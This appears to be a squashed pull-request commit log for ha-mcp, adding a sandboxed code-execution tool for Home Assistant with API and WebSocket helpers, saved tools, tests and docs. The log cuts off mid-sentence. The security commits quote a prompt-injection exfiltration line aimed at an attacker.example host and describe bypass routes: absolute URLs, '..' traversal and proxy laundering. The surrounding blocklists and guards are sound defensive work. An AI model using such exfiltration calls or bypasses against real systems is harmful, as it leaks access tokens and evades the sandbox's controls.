and ha_list_saved_tools so they bypass the search transform and are always visible. This gives them individual permission gating (destructive tools get confirmation prompts) rather than being routed through the categorized proxies. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: remove unused type: ignore after refactor Monty is now passed as Any parameter, so mypy doesn't flag run_async. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: add fallback for Monty.run_async on ARM pydantic-monty ARM wheels may not expose Monty.run_async(). Fall back to the deprecated module-level run_monty_async(), then to sync run() in a thread as last resort. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: use safe_call_tool for saved tools tests assert_mcp_success calls data.get("data", {}).get("success") which breaks when data["data"] is a non-dict value like 42 from the sandbox. Use safe_call_tool + manual assertions instead of MCPAssertions for tests where the sandbox returns primitive values. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * refactor: consolidate to single ha_manage_custom_tool, fix review issues Major rework addressing PR review findings: **Consolidation** (3 tools → 1): - Renamed to ha_manage_custom_tool (ha_<verb>_<noun> convention) - Merged ha_run_saved_tool and ha_list_saved_tools into modes: code+justification → execute, run_saved → rerun, list_saved → list - Single tool pinned in search transform instead of three **Security fixes**: - Block recursive self-invocation via _BLOCKED_TOOLS set (C1) - Fail-fast on ARM instead of silent asyncio.to_thread fallback (C2) - Rate limit call_tool to 100 invocations per execution (I3) - Sanitize error messages from call_tool (truncate to 200 chars) - Validate save_as names (alphanumeric/underscores, 1-64 chars) **Code quality**: - Fix stale config comment (ha_execute_code → ha_manage_custom_tool) - Pin pydantic-monty==0.0.9 (was >=0.0.9) - Nest extra fields inside data (standard return shape) - Log full code at DEBUG level for auditing - Trim docstring for progressive disclosure **Test improvements**: - Rewrite test_feature_flag_disabled_by_default with fresh server - Security tests now verify error REASON not just success=False - Add test for recursive self-call blocking - Add test for save_as overwrite behavior - Add test for invalid save_as names - Add test for nonexistent tool via call_tool bridge - Add test for no-mode-specified error Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: handle ToolResult serialization, fix ruff import order - _call_tool bridge now extracts content from ToolResult objects via _extract_tool_result() — Monty can only handle basic Python types, so ToolResult/content objects must be serialized before returning to the sandbox - Fix ruff I001 import sorting in test file Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: ruff import sorting, robust entity search test - Fix I001 import block sorting (no blank lines within function-level import block per ruff 0.15.x) - Make test_call_tool_search_entities resilient to different result shapes — check both result["entities"] and result["data"]["entities"] - Search for "light" instead of "sun" (more likely in test containers) Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: correct ha_search_entities result shape in test and docstring ha_search_entities returns {"success": True, "results": [...]} — entities are in the "results" key. The sandbox code and docstring example were using result.get("data", {}).get("entities", []) which is wrong. Fixed test to use: result.get("results", []) Fixed docstring example to match actual API shape. Use domain_filter="light" with empty query to list entities by domain. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: correct result shape and import sorting for CI ha_search_entities wraps results with add_timezone_metadata, producing {"data": {"success": True, "results": [...]}, "metadata": {...}}. The sandbox code and docstring now unwrap the "data" layer first: data = result.get("data", result) results = data.get("results", []) Confirmed by reading test_search_entities.py line 28 which does the same unwrap: raw_data.get("data", raw_data). Separated imports into distinct blocks (with statements between them) to avoid ruff I001 disagreement between local (ha_mcp not installed) and CI (ha_mcp installed as first-party). Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: expose enable_code_mode in add-on configuration Add ENABLE_CODE_MODE toggle to the HA add-on config UI: - homeassistant-addon/config.yaml: add option + schema - homeassistant-addon-dev/config.yaml: same - homeassistant-addon/start.py: read from options.json, set env var - homeassistant-addon/DOCS.md: document the toggle with safety info Follows the same pattern as ENABLE_YAML_CONFIG_EDITING. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: add translation strings for enable_code_mode toggle Add name ("Enable custom tool sandbox") and description to both addon and addon-dev translations/en.yaml so the HA config UI shows a proper label and description instead of raw "enable_code_mode". Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: add direct HA REST API access (api_get/api_post) to sandbox The primary value of the sandbox is accessing HA APIs that no existing tool covers — not just chaining existing tools. Without direct API access, the sandbox is limited to composing existing MCP tools, which the LLM can already do through normal tool calls. New external functions available in sandbox code: - api_get(endpoint) — GET request to HA REST API - api_post(endpoint, data) — POST request to HA REST API These use the already-authenticated HomeAssistantClient, so sandbox code can access any HA REST endpoint: repairs = await api_get("/api/repairs/issues") repairs call_tool(name, args) is retained for cases where an existing MCP tool already has the right logic (validation, formatting, etc). E2E tests added for api_get (/api/config, /api/states) and api_post. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * test: add E2E tests for api_get/api_post error handling and payloads - test_api_get_invalid_endpoint: nonexistent endpoint returns error dict, sandbox doesn't crash - test_api_post_with_data: POST with JSON payload to /api/template - test_api_get_specific_entity_state: fetch sun.sun state by endpoint Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: remove /api/ prefix from sandbox API endpoints The httpx_client base URL already includes /api, so endpoints passed to api_get/api_post should be relative: /config not /api/config. Using /api/config resulted in /api/api/config (404 or HTML error page returned as string, causing 'str' has no attribute 'get' in sandbox). Fixed in tests, docstring example, and PR description. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: remove missed /api/ prefix from sun.sun endpoint test The /api/states/sun.sun endpoint was missed by the earlier bulk replace (which only matched "/api/states" with a closing quote). Also made the test defensive for string responses. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: use ternary expression in sun.sun test for Monty compatibility Monty's if/else statement blocks don't return values — the last expression evaluates to None. Use a ternary expression instead so the dict literal is the return value: {...} if isinstance(result, dict) else {...} Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: address Gemini review — docs, configurable limits, code cleanup Security (high): - Fix misleading docs/translations that said "only through MCP tools" — now correctly documents api_get/api_post direct API access - Add explicit warning on _saved_tools about shared state in multi-user modes Code quality (medium): - Make max invocations configurable: CODE_MODE_MAX_INVOCATIONS setting (was hardcoded _MAX_CALL_TOOL_INVOCATIONS = 100) - Combine isinstance checks for basic types - Narrow except Exception to json.JSONDecodeError in api_get/api_post - Rename kwargs to post_kwargs in _api_post to avoid shadowing Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: normalize api_get/api_post endpoints to prevent leading-slash path issues The httpx client's base_url includes /api, so leading slashes in endpoints cause httpx to treat them as absolute paths from the host root, bypassing the base path. This made api_get("/api/events") 404 and api_get("/events") hit the wrong path. Added _normalize_endpoint() that strips leading slashes and any accidental /api/ prefix, so all three forms work identically: api_get("events"), api_get("/events"), api_get("/api/events") Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: use structured error responses in sandbox call_tool helper Replace hand-built {"success": False} dicts with raise_tool_error + create_error_response to satisfy the no-return-success-false AST rule. Also remove unused pytest import flagged by ruff. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix(test): create fresh server in code mode E2E fixture The session-scoped mcp_server fixture is created before the module-scoped code_mode_enabled fixture can set ENABLE_CODE_MODE. Fix by creating a fresh HomeAssistantSmartMCPServer instance in the test fixture after the env var is set, and resetting the settings singleton so the new server reads the updated config. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: sandbox errors return dicts (not exceptions) and clean up env var teardown - _call_tool helper must return error dicts to sandbox code, not raise ToolError (Monty wraps exceptions as MontyRuntimeError, breaking tests) - Use _sandbox_error() helper to build structured error dicts that satisfy AST lint rules (no literal {"success": False} in return statements) - Fix code_mode_enabled fixture teardown: use os.environ.pop instead of setting empty string (Pydantic can't parse "" as bool) Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * refactor(addon): move ha_manage_custom_tool to dev channel only (beta) Mirrors the #942 pattern that ha_config_set_yaml uses: the ha_manage_custom_tool sandboxed code-execution tool stays available via the dev channel add-on and the ENABLE_CODE_MODE env var, but the toggle is removed from the stable add-on UI so it ships dev-channel-only. - Drop enable_code_mode from homeassistant-addon/config.yaml options + schema. Update the maintainer comment to list it alongside the other beta toggles that are intentionally not mirrored from the dev addon. - Drop the enable_code_mode entry from homeassistant-addon/translations/ en.yaml. - Tag the @mcp.tool with {"System", "beta"} so scripts/extract_tools.py appends the (beta — dev channel only) marker in the regenerated README.md / DOCS.md / tools.json on merge. - Add ha_manage_custom_tool to docs/beta.md (table + Known limitations section covering composition risk, in-memory saved tools, best-effort resource limits, ARM async path). - Remove the hand-written ### enable_code_mode toggle docs from homeassistant-addon/DOCS.md (the auto-generated tools section between ADDON_TOOLS markers gets the beta marker added by CI on merge). Dev addon (homeassistant-addon-dev/) still exposes the toggle and the shared start.py still maps it to ENABLE_CODE_MODE so dev users can opt in. src/ha_mcp/config.py still reads the env var so non-addon installs (pip / uv / uvx / Docker direct) can opt in via ENABLE_CODE_MODE=true. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(code-mode): add ws_send WebSocket helper to sandbox Adds a third HA-facing escape hatch alongside api_get/api_post and call_tool: ws_send(message) forwards a HA WebSocket command to the shared per-client WS connection and returns the response. Most HA registry CRUD (areas, devices, entities, automations, dashboards) and template rendering are only reachable over the WebSocket API, not REST. Without ws_send the sandbox could already get to those via call_tool wrappers, but only when an MCP tool happened to exist; ws_send fills the same role for WebSocket as api_get/api_post do for REST — letting custom tools cover gaps directly instead of waiting on dedicated tool PRs. - _ws_send wraps client.send_websocket_message with the same call-count rate limit as api_get/api_post, validates that the message is a dict with a "type" field, and returns {"error": ...} on bad input or exceptions instead of raising into the sandbox. - Wired into Monty's external_functions and documented in the tool docstring (with a config/area_registry/list example). - Dev-addon translation and docs/beta.md updated to list ws_send alongside the other sandbox helpers, and the Known limitations note for ha_manage_custom_tool now calls out that WebSocket access widens the surface to "anything the HA UI can do." - E2E tests cover area-registry list, render_template, non-dict input validation, and the missing-"type" guard. Security profile is roughly the same as REST + call_tool: the sandbox can already invoke every registered MCP write tool, so adding direct WebSocket access does not meaningfully increase blast radius — it just removes the requirement for a dedicated wrapper tool. Same ENABLE_CODE_MODE=true gate, same destructiveHint=True confirmation, same rate / time / memory / recursion limits. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(deps): bump mypy to 1.20.2 in lockfile The earlier ``uv lock`` run that regenerated uv.lock for the pydantic-monty addition picked up the older mypy 1.19.1, downgrading from master's 1.20.2. mypy 1.19.1 fails on tools_energy.py:834 with Unsupported operand types for - ("set[Literal[...]]" and "set[str]") (set subtraction direction inference regression — set[Literal[...]] - set[str] doesn't widen back to set[str] in 1.19.1). The exact same code type-checks cleanly under master's 1.20.2, so re-pin to that. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * chore(tests): drop unrelated living_room_dashboard E2E carryover Removes tests/src/e2e/workflows/dashboards/test_living_room_dashboard.py. This file was working-branch carryover that landed in this PR by accident (originally flagged by @Patch76 in https://github.com/homeassistant-ai/ha-mcp/pull/854#issuecomment-4364809945). It exercises ha_config_set_dashboard / ha_config_get_dashboard / ha_config_delete_dashboard rather than ha_manage_custom_tool, so it doesn't belong in this PR's scope, and it was failing CI because ha_config_delete_dashboard's parameter was renamed from dashboard_id to url_path after the test was written. The other carryover files (docs/superpowers/specs/*.md, mcp-test-config.json) already dropped naturally during the rebase since they only existed via a merge commit. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(code-mode): block URL injection, tighten error handling and validation Addresses review findings from the in-house code-review pass on PR #854. Security -------- * `_normalize_endpoint` now rejects anything that isn't a HA-relative path: absolute URLs (`http://...`, `https://...`), protocol-relative URLs (`//host/path`), and userinfo (`user@host/...`). httpx, when handed an absolute URL on a client with `base_url` and an Authorization header, dispatches the request to the absolute host *with the bearer header still attached* — a prompt-injected LLM running `await api_get("http://attacker.example/x")` would have exfiltrated the HA Long-Lived Access Token (or in addon mode, the far-more-privileged SUPERVISOR_TOKEN). _normalize_endpoint raises before the request leaves the host. New TestCodeModeSecurity tests cover absolute, protocol-relative, and userinfo URL rejection for both api_get and api_post. Correctness ----------- * `_call_tool` now increments call_count *before* the _BLOCKED_TOOLS check, so a tight loop on a blocked name actually trips the per-execution call cap (was previously free). * `_extract_tool_result` checks `isError` / `is_error` on FastMCP ToolResult objects before falling through to `str(result)`. Without this, an unfamiliar error-result type would be returned to the sandbox as a successful string and `result.get("error")` would miss it. The `str(result)` fallback now also logs at WARNING so the opaque-repr path is visible to operators. * The `except ImportError: pass` block around `run_monty_async` was catching ImportErrors raised inside the function body too (e.g. a missing native shim). Split the import and the call into separate try blocks so a real failure surfaces. * All four bridge functions (`_api_get`, `_api_post`, `_ws_send`, `_call_tool`) now log at WARNING with `exc_info=True` when their catch-all `except` fires. The `[:200]`-truncated dict still goes to the sandbox; full traceback goes to operator logs. * `ha_manage_custom_tool` now enforces mutual exclusion of `code`, `run_saved`, and `list_saved` — previously the dispatch was a silent priority chain (list_saved > run_saved > code) and passing both would discard the lower-priority arg without telling the caller. Configuration ------------- * `code_mode_max_*` Field defaults now have `ge=` lower bounds and sane upper bounds: duration 1-300 s, memory 1 MB-256 MB, recursion 1-10000, invocations 1-10000. Previously a misconfigured `CODE_MODE_MAX_INVOCATIONS=0` or negative duration would silently break the tool. Docs ---- * Module docstring corrected from "three external functions" to four (api_get, api_post, ws_send, call_tool — `ws_send` was added in this PR but the count wasn't updated). * Module docstring now notes that `api_get`/`api_post` reject absolute URLs. Tests ----- Added in `tests/src/e2e/tools/test_create_custom_tool.py`: * `TestCodeModeValidation::test_modes_mutually_exclusive_*` — three pairs (code+run_saved, code+list_saved, run_saved+list_saved). * `TestCodeModeSecurity::test_api_get_rejects_absolute_url`, `test_api_post_rejects_absolute_url`, `test_api_get_rejects_protocol_relative_url`, `test_api_get_rejects_userinfo_url`. * Tightened `TestCodeModeWebSocket::test_ws_send_area_registry_list` to assert the area-registry shape (area_id + name keys) instead of just "is_list". * Tightened `TestCodeModeWebSocket::test_ws_send_render_template` to assert exact equality on the rendered value instead of substring. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(code-mode): drop success:False from _extract_tool_result error returns The ast-grep `no-return-success-false` rule rightly flags ``{"success": False, ...}`` returns from tool functions because they don't set isError on the MCP response. ``_extract_tool_result`` is a sandbox-side helper (its dicts go back to user Python via call_tool, not to the MCP client), so the rule's spec rationale doesn't apply, but the shape is also gratuitously different from the rest of the sandbox helpers. The other bridge functions (``_api_get``, ``_api_post``, ``_ws_send``) already return plain ``{"error": "..."}`` on failure with no ``success`` key. Match that shape here so sandbox code can do ``result.get("error")`` uniformly across all four helpers, and so the ast-grep rule doesn't get retripped on a future edit. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * feat(code-mode): persist saved tools to disk + add delete_saved_tool helper Saved custom tools now survive server / addon restarts when ``CODE_MODE_SAVED_TOOLS_PATH`` is set. The dev addon sets this to ``/data/saved_tools.json`` by default (Supervisor maps ``/data`` per-addon and preserves it across addon updates). Operators running ha-mcp outside the addon can opt in by setting the env var themselves. Goal: let people build their own "MCP within an MCP" — a personal library of single-purpose tools that the LLM has accumulated over time and can reach for immediately rather than reauthoring on every session. The infra is intentionally simple (one JSON file, atomic write, 256-tool cap, schema versioned for future migrations) and the saved-tools cache stays in process memory so reads are free. Persistence ----------- * ``code_mode_saved_tools_path`` setting in ``src/ha_mcp/config.py`` (env var ``CODE_MODE_SAVED_TOOLS_PATH``). Empty default = in-memory only (preserves prior non-addon behaviour). * ``_load_saved_tools(path)`` and ``_save_saved_tools(path)`` helpers in ``tools_code.py``. Load filters malformed entries (bad name, bad shape, missing code) and caps at ``_MAX_SAVED_TOOLS=256``. Save uses ``tempfile.NamedTemporaryFile`` in the same dir + ``replace`` so a crash mid-write can't corrupt the existing file. Schema is ``{"version": 1, "saved_at": iso, "saved_tools": {...}}`` so future migrations have a hook. * ``register_code_tools`` hydrates ``_saved_tools`` from disk. * ``ha_manage_custom_tool`` persists after every successful ``save_as``. Hitting the 256-tool cap on a new save raises a validation error suggesting ``delete_saved_tool``. * ``homeassistant-addon/start.py`` sets ``CODE_MODE_SAVED_TOOLS_PATH=/data/saved_tools.json`` via ``setdefault`` so operators can override. Sandbox helper -------------- * New external function ``delete_saved_tool(name)`` exposed alongside ``api_get`` / ``api_post`` / ``ws_send`` / ``call_tool`` in Monty's ``external_functions`` dict. Validates the name against ``_SAVE_NAME_PATTERN``, returns ``{"deleted": True, "name": ...}`` on success or ``{"error": "..."}`` on validation failure / unknown name. Persists immediately when the file path is configured. * No new top-level mode parameter — keeping the tool's surface ``code`` / ``run_saved`` / ``list_saved`` and routing CRUD through sandbox code keeps the API tight. Tests ----- * ``tests/src/unit/test_saved_tools_persistence.py`` (new): 13 unit tests covering empty path / missing file / malformed JSON / top-level shape / invalid entry filtering / justification normalization / cap enforcement, plus save round-trip / parent-dir creation / atomic overwrite / no-op on empty path. * ``TestSavedTools`` in the existing E2E suite: three new tests for the sandbox-driven ``delete_saved_tool`` round-trip, error on nonexistent name, and rejection of names that don't match the validation regex. Docs ---- * ``docs/beta.md`` Known limitations section: replaced "saved tools are stored in process memory only" with the persistence story (cap, copy-to-migrate workflow, dev-addon default vs opt-in env var elsewhere). Resource-limits paragraph clarifies which limit is enforced by Monty vs ha-mcp itself, and a new paragraph documents the absolute-URL block on api_get/api_post. * Dev-addon ``enable_code_mode`` translation description updated to mention save/delete and the persistence path. * ``ha_manage_custom_tool`` user-facing docstring lists ``delete_saved_tool`` in the available functions and adds a delete example. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(code-mode): add api_post/ws_send blocklists, classify sandbox errors, audit log Implements the stress-test-driven mitigations 1, 2, 4, and 5 from the in-PR review comment. Mitigation 3 (call_tool denylist for beta tools) was intentionally skipped after re-checking the technical claim — the file-path / yaml-key allowlists are enforced inside the underlying HA custom-component services, not the ha-mcp tool body, so they hold even when the sandbox calls those tools through call_tool. api_post path blocklist ----------------------- Reject the following before the request leaves the host: - ``states/*`` — POST /api/states/<entity_id> can conjure ghost entities and override real ones in the in-memory state machine, which spoofs other agents and pollutes logbook/history during the session. State changes should go through call_tool('ha_call_service' ...) so the integration's state machine is authoritative. - ``events/<HA-internal-event-name>`` — denylist of 24 HA Core event names (state_changed, automation_reloaded, *_registry_updated, homeassistant_*, lovelace_updated, recorder_*_statistics_generated, etc.). Custom event types (e.g. my_app_completed) stay allowed. - ``config/{automation,script,scene}/config/*`` — these endpoints back the wrapping tools but skip schema validation, reference checks, and hash-locking when called raw. Forced through ha_config_set_automation / ha_config_set_script / ha_config_set_scene. ws_send command blocklist ------------------------- Reject 14 WebSocket commands that either rewrite persistent state with no sandbox-appropriate use case, or bypass wrapping-tool validation: - ``config/core/update`` — persistently overwrites location_name/country/currency/time_zone/lat-long in .storage/core.config (no MCP tool wraps this). - ``lovelace/config/save`` and ``lovelace/dashboards/{create,delete,update}`` — bypass ha_config_set_dashboard's storage-mode collision check and other invariants. - ``config/{area,device,entity}_registry/{delete,disable,update}`` — forced through ha_config_set_area / ha_update_device / ha_set_entity etc. Read-only registry queries (``config/area_registry/list`` and friends), service calls (``services/<domain>/<service>``), webhook firing, and custom event types remain allowed. Sandbox error classification ---------------------------- Replace the generic INTERNAL_ERROR + "check the Python code for syntax errors" suggestion list with a three-bucket classifier: - ``SANDBOX_LIMIT_EXCEEDED`` for MemoryError / RecursionError / timeout / wall-clock — suggestions point at CODE_MODE_MAX_* env vars and ergonomic alternatives (streaming, iteration). - ``SANDBOX_SYNTAX_UNSUPPORTED`` for ModuleNotFoundError / NotImplementedError / hard SyntaxError — suggestions name the injected helpers (no imports, no classes, no with/match). - ``SANDBOX_RUNTIME_ERROR`` for everything else — suggestions name the actual exception type and the Monty/CPython divergences callers trip over most often (e.g. next() requires an iterator, await required on injected helpers). The classifier inspects both ``type(exc).__name__`` and ``str(exc)`` because Monty wraps inner exceptions in MontyRuntimeError; matching the wrapper name alone wouldn't distinguish a memory cap from an unsupported feature. Audit log --------- Every state-changing sandbox call now logs a structured ``sandbox.api_post endpoint=... data_keys=...`` (or ``sandbox.ws_send type=...``) line at DEBUG level. Blocked attempts log a ``sandbox.{api_post,ws_send}.blocked`` line at INFO level so they're visible in default operator logs. DEBUG was chosen for the allow-path instead of INFO because the typical per-execution call volume (up to 100) would be excessive at INFO, and the operator can escalate the ha_mcp.tools.tools_code logger when investigating. Tests ----- * ``TestCodeModeApiPostBlocklist`` (5 tests) — states/*, HA-internal events, custom-event positive case, automation/script/scene config. * ``TestCodeModeWsSendBlocklist`` (4 tests) — config/core/update, lovelace/config/save, registry mutations, registry-list positive case. * ``TestCodeModeErrorClassification`` (3 tests) — import → syntax, class definition → syntax, parse error → syntax. Plus a quick standalone classifier sanity script verified all 9 exception-type → code mappings and all 12 endpoint-prefix decisions locally. Docs ---- ``docs/beta.md`` Known limitations section gained three new paragraphs: the safer-path enforcement (with the allow-list of what stays unblocked), the new SANDBOX_* error codes, and the audit-log toggle. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(code-mode): address round-2 review findings Implements the 4 real bugs, 3 doc fixes, and 3 test gaps identified by the second-pass review of the persistence + blocklist work. Bugs ---- * ``_API_POST_BLOCKED_PREFIXES``: removed the ``config/scene/config/`` entry. The error message it returned told the LLM to use ``ha_config_set_scene``, which does not exist in the registered tool catalogue (no scene-related ``set`` tool exists at all). Blocking the REST path without a validated alternative was net-negative — it just removed capability. The block can come back when a wrapping tool lands; comment in the code records that decision. * ``_save_saved_tools`` now returns ``bool`` and the persistence failure path is no longer silent. The save_as branch in ``ha_manage_custom_tool`` rolls back the in-memory cache on a False return and surfaces a ``save_warning`` field in the response, with ``saved_as`` reset to ``None``. ``_delete_saved_tool`` also rolls back on failure and returns ``{"error": ...}`` instead of the prior misleading ``{"deleted": True}``. Persistence was the documented contract of this PR, so the prior "log at WARNING and lie with success: True" behaviour was a real reliability gap, not just cosmetic. * ``_load_saved_tools`` distinguishes ``FileNotFoundError`` (legitimate "starting empty") from other ``OSError``s (genuine I/O failure on an existing file). When the latter fires, a new module-level ``_saved_tools_load_failed`` flag suppresses subsequent persistence for the session — preventing a transient ``PermissionError`` at startup from cascading into "next save wipes out the unreadable file with empty content" data loss. The flag is cleared on the next successful load. * The audit-log line now uses ``sorted(map(str, data.keys()))`` instead of ``sorted(data.keys())``. Monty allows mixed-type dict keys, and the previous form would raise ``TypeError`` on the first ``api_post("/foo", {1: "x", "a": "y"})`` invocation, propagating through the audit-log step into the catch-all ``except Exception`` and surfacing as a generic "api_post failed" with no hint that the audit-log step was the real culprit. Schema-version contract honoured -------------------------------- ``_load_saved_tools`` now actually reads ``data.get("version")`` and refuses to interpret anything that isn't ``_SAVED_TOOLS_SCHEMA_VERSION`` (currently 1). The prior code wrote the version field but never checked it, so a future v2 file would have been silently downgraded to v1 semantics by current code. Mismatch sets the load-failed flag so we don't atomically replace the unfamiliar file with our v1 shape. Docs ---- * ``docs/beta.md`` audit-log paragraph now shows the correct ``configuration.yaml`` / ``logger.logs.<name>: debug`` snippet instead of the previous bogus "set ``logger ha_mcp.tools.tools_code: debug`` in your add-on configuration." (HA's logger integration lives in configuration.yaml, not addon options.) * The "blocked endpoints" paragraph in beta.md was updated to match the now-shorter ``_API_POST_BLOCKED_PREFIXES`` and explicitly notes the scene exception. * The stale ``ha_config_set_scene`` reference in the ``ha_config_set_yaml`` Known Limitations section (preexisting) was also removed since I was in the file. * The ``_MAX_SAVED_TOOLS`` constant comment now mentions both load- and save-time enforcement; the ``_SAVED_TOOLS_SCHEMA_VERSION`` comment matches reality (the load path actually consults it). * The ``_API_POST_BLOCKED_PREFIXES`` block comment splits the conflated rationale into two flavours (no-legitimate-use-case vs has-wrapping-tool). Tests ----- * ``TestSaveSavedTools.test_returns_true_on_success`` and ``test_returns_true_when_path_unset`` pin the new bool contract. * ``TestSchemaVersionGuard`` (3 tests) covers refusing unknown version, missing version field, and not overwriting an unfamiliar file. * ``TestLoadFailedFlag`` (2 tests) covers flag-clear-on-success and save-skipped-when-set. * ``TestHydrationRoundTrip`` (2 tests) covers the load→modify→save→ reload lifecycle, which the original suite was missing. * ``TestSaveCapEnforcement`` (2 tests) covers the load-side cap and pins that ``_save_saved_tools`` itself does not self-cap (the registration-site code is the upper-bound guard). 24 unit tests now pass (was 13). Lint/mypy/ast-grep clean. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(test): split scene/script blocklist test, add positive scene case The previous combined test parametrized both ``script`` and ``scene`` and asserted both were blocked, but the round-2 review correctly flagged that ``config/scene/config/*`` should NOT be blocked because no ``ha_config_set_scene`` wrapping tool exists to redirect to. Removed the scene entry from ``_API_POST_BLOCKED_PREFIXES`` in 0bb0dec7 but missed updating this test, which caught the regression in CI on both runners. Replace with two tests: * ``test_api_post_blocks_script_config_write`` — single-kind assertion for script (the only one of the two with a wrapping tool). * ``test_api_post_allows_scene_config_write`` — positive assertion that scene writes are NOT sandbox-blocked. The HA endpoint may reject the body for legitimate reasons (schema, missing fields), but the sandbox-side blocklist must not be the cause. This will fail loudly if a future maintainer adds the block back without also adding the wrapping tool. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com> * fix(code-mode): close proxy-laundering, ..-traversal, and 5 other Patch76 review findings Implements the 9-item plan in https://github.com/homeassistant-ai/ha-mcp/pull/854#issuecomment-4383891488 addressing the CHANGES_REQUESTED review at https://github.com/homeassistant-ai/ha-mcp/pull/854#pullrequestreview-XXXX on commit 11ba402e. Blocker 1 — recursive-self-call guard bypassable via ha_call_write_tool ----------------------------------------------------------------------- Two-layer fix: * ``CategorizedSearchTransform`` gains an ``enable_code_mode: bool`` constructor parameter (default False, preserves prior behaviour for installations that aren't running code mode). When True, ``_rebuild_category_cache`` swaps ``get_tool_catalog(ctx)`` for ``_get_visible_tools(ctx)`` — the same FastMCP helper that ``BM25SearchTransform`` already uses. Pinned tools (including ``ha_manage_custom_tool``) drop out of ``_read_tools`` / ``_write_tools`` / ``_delete_tools``, so ``categorized_call`` for a pinned name falls through to the ``RESOURCE_NOT_FOUND`` branch rather than dispatching the underlying tool. ``server.py`` flips the flag on whenever ``settings.enable_code_mode`` is True. * ``_BLOCKED_TOOLS`` (sandbox-side defense in depth) now also includes the four search-transform synthetics: ``ha_search_tools``, ``ha_call_read_tool``, ``ha_call_write_tool``, ``ha_call_delete_tool``. Even if a future regression re-enables the proxy dispatch, sandbox code can't reach the laundering path. Direct calls to underlying tools by their real name (``call_tool("ha_get_history", ...)``) keep working — the block is on the synthetics only, so individual underlying tools can still be denylisted in the future without needing to rework the proxy. Blocker 2 — ``..`` traversal in ``_normalize_endpoint`` ------------------------------------------------------- httpx happily resolves ``base_url='http://ha:8123/api'`` + ``../auth/providers`` to ``http://ha:8123/auth/providers``, escaping the ``/api/`` prefix. After ``lstrip("/")`` and the optional ``api/`` strip, ``_normalize_endpoint`` now splits on ``/`` and rejects any segment exactly equal to ``..``. ``..bar`` (filename starting with two dots) and ``...`` (three dots) stay allowed — they aren't traversal segments, just unusual filenames. Verified against 12 endpoint cases covering all 4 traversal patterns plus prior security guards (absolute URL, protocol-relative, userinfo) still holding. Additional registry blocks (``_BLOCKED_WS_COMMANDS``) ----------------------------------------------------- Added 9 entries for floor / label / category registry mutations to match the existing area / device / entity coverage. Each has a wrapping MCP tool (``ha_config_set_floor`` / ``ha_config_set_label`` / ``ha_config_set_category``) so the same "force through the validated path" rationale applies. Additional event blocks (``_BLOCKED_HA_INTERNAL_EVENTS``) --------------------------------------------------------- Added ``script_finished`` (pairs with the existing ``script_started`` block) and ``logbook_entry`` (this event IS the documented logbook write API; spoofing injects fabricated rows directly into the user's primary investigation tool — data-integrity issue, not just attack surface). ``automation_triggered`` and ``call_service`` stay allowed — legit "verify my handler reacts" use cases and downstream consumers can already check event context for provenance. ``list_saved`` shape — nest under ``data.saved_tools`` ------------------------------------------------------ ``_SAVE_NAME_PATTERN`` accepts every key the *other* response shapes use (``result``, ``code``, ``justification``, ``saved_tool``, ``count``). A consumer doing ``r["data"]["result"]`` after a list_saved call would have gotten a saved-tool entry instead of a run-result. Fixed by nesting the dict under a stable ``saved_tools`` key. Updated ``test_list_saved_tools`` to pin the new shape. Log injection (``%s`` interpolation of LLM-controlled strings) -------------------------------------------------------------- Added ``_log_safe`` helper that replaces ``\r`` / ``\n`` / ``\t`` with spaces and truncates to 200 chars. Applied to the ``ha_manage_custom_tool invoked — justification: %s`` log line at ``tools_code.py:1151`` so an LLM-supplied ``"real reason\nFAKE_CRITICAL: …"`` cannot inject a synthetic second log line. Audit-log endpoint/type fields use ``%r`` already which escapes via repr(); no change needed there. The DEBUG-level ``code:\n%s`` line stays raw — multi-line is intentional (operator's primary forensic artefact) and the format string already opens a fresh line so there's nothing to inject into. Tests ----- * ``TestCodeModeAdditionalResourceLimits`` (3 tests) — memory / recursion / invocation-cap. Previous suite only covered timeout. * ``TestCodeModeNormalizeEndpointTraversal`` (1 parametrized test, 4 rows) — all 4 ``..`` traversal patterns reject. * ``TestCodeModeProxyLaunderingBlocked`` (1 parametrized test) — ``call_tool`` to each of the 4 search synthetics returns the ``AUTH_INSUFFICIENT_PERMISSIONS`` block. * ``test_list_saved_tools`` updated to verify new ``data.saved_tools[name]`` + ``data.count`` shape. * ``test_save_warning_rollback_shape`` (skipped) — placeholder noting that the unit suite covers the persistence-failure 